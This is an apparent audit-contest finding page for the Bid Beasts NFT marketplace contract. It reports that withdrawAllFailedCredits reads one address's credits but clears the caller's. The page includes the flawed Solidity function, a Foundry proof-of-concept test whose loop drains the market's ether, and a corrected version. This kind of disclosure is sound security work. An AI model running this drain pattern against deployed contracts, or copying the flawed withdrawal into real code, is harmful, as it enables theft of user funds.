Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Incorrect Receiver Handling in `BidBeastsNFTMarket::withdrawAllFailedCredits` Allows Attacker to Drain Contract Funds

ratt13snak3

Incorrect Receiver Handling in BidBeastsNFTMarket::withdrawAllFailedCredits Allows Attacker to Drain Contract Funds

Description

  • Normally, a withdrawal function that returns previously failed transfers (a pull-payment pattern) must only allow the actual beneficiary to withdraw their own credits, and it must follow checks-effects-interactions or use a reentrancy guard. The mapping that stores credits (e.g., failedTransferCredits) must be cleared for the beneficiary before sending funds.

  • In the current implementation, the function reads credits for _receiver but clears the mapping for msg.sender and sends funds to msg.sender. This allows any caller to repeatedly withdraw the credited amount belonging to another address, because the beneficiary's mapping entry is never cleared. The contract balance can be drained by looping calls.

/**
* @notice Allows users to withdraw funds that failed to be transferred directly.
*/
function withdrawAllFailedCredits(address _receiver) external { // q user can clear credits repeatedly.
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood

  • Any time failedTransferCredits[_receiver] > 0, any attacker can call this function with _receiver set to the victim and drain the victim's credited amount to themselves.

  • The vulnerability is exploitable by a simple externally-owned account or contract; no privileged access is required.

Impact

  • Complete or partial draining of contract funds via repeated withdrawals, leading to direct user and contract balance loss.

  • Loss of trust, user funds stolen, and marketplace functionality impaired. This is a direct financial impact and thus critical.

Proof of Concept

paste the code below in the test suite BidBeastsMarketPlaceTest.t.sol
ensure to add the attacker address

​
address public constant ATTACKER = address(0x5);
​
function test_user_can_drain_contract_if_a_refund_fails() public {
_mintNFT(SELLER);
_listNFT(SELLER, TOKEN_ID);
​
vm.deal(address(market), 10000 ether); // fund the market to simulate existing balance
uint256 marketBalanceBefore = address(market).balance;
​
// Attacker places a bid with excess eth, using a contract that cannot receive returned eth
vm.prank(address(rejector));
market.placeBid{value: BUY_NOW_PRICE + 2 ether}(TOKEN_ID);
assertEq(nft.ownerOf(TOKEN_ID), address(rejector));
​
uint256 fee = (BUY_NOW_PRICE * market.S_FEE_PERCENTAGE()) / 100;
​
console.log("market balance before attack", (marketBalanceBefore + fee) / 1 ether); // divide by 1 ether to make the number readable
​
// the extra 2 ether is now in the contract as failed transfer credits
assertEq(market.failedTransferCredits(address(rejector)), 2 ether);
assertEq(address(market).balance, marketBalanceBefore + fee + 2 ether);
​
// attacker empties the market contract by withdrawing the failed credits over and over again
uint256 attackerBalanceBefore = ATTACKER.balance;
console.log("attacker balance before attack", attackerBalanceBefore / 1 ether); // divide by 1 ether to make the number readable
while (address(market).balance > 1 ether){
vm.prank(ATTACKER);
market.withdrawAllFailedCredits(address(rejector));
}
​
uint256 marketBalanceAfter = address(market).balance;
uint256 attackerBalanceAfter = ATTACKER.balance;
console.log("market balance after attack", marketBalanceAfter / 1 ether); // divide by 1 ether to make the number readable
console.log("attacker balance after attack", attackerBalanceAfter / 1 ether); // divide by 1 ether to make the number readable
}

This PoC shows the attacker receives amount repeatedly because the contract clears failedTransferCredits[msg.sender] (attacker) rather than failedTransferCredits[_receiver] (victim).

Recommended Mitigation

  • Remove the _receiver parameter and use msg.sender directly to avoid confusion.

- function withdrawAllFailedCredits(address _receiver) external { // q user can clear another user's credits.
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
-
- failedTransferCredits[msg.sender] = 0;
-
- (bool success, ) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
+ // User withdraws their own failed credits. Uses checks-effects-interactions.
+ function withdrawAllFailedCredits() external nonReentrant {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+
+ // Effects: clear before external call
+ failedTransferCredits[msg.sender] = 0;
+
+ // Interaction: transfer to msg.sender
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+ emit WithdrawnFailedCredits(msg.sender, amount);
+ }
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!